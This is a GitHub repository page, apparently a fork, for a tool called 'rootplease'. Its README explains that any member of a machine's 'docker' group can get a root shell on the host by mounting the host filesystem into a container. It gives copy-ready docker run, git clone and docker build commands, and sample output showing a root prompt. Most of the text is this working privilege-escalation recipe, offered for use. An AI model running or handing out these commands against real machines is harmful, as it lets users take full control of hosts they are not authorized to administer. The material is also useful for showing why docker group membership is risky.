Skip to content

Gives you root on the hostOS, if you're a member of the 'docker' group.

Notifications You must be signed in to change notification settings

Hacker-One/dockerrootplease

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 
 
 

Repository files navigation

Root Please

If you're a member of the 'docker' group on a machine, this command gives you a root shell on the host OS. See my blog post for details.

How to Use

Through Docker Hub:

> docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

Or through Github:

> git clone https://github.com/chrisfosterelli/dockerrootplease rootplease
> cd rootplease/
> docker build -t rootplease .
> docker run -v /:/hostOS -i -t rootplease

And the result:

johndoe@testmachine:~$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
[...]
You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell
# whoami
root
# 

About

Gives you root on the hostOS, if you're a member of the 'docker' group.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • Shell 100.0%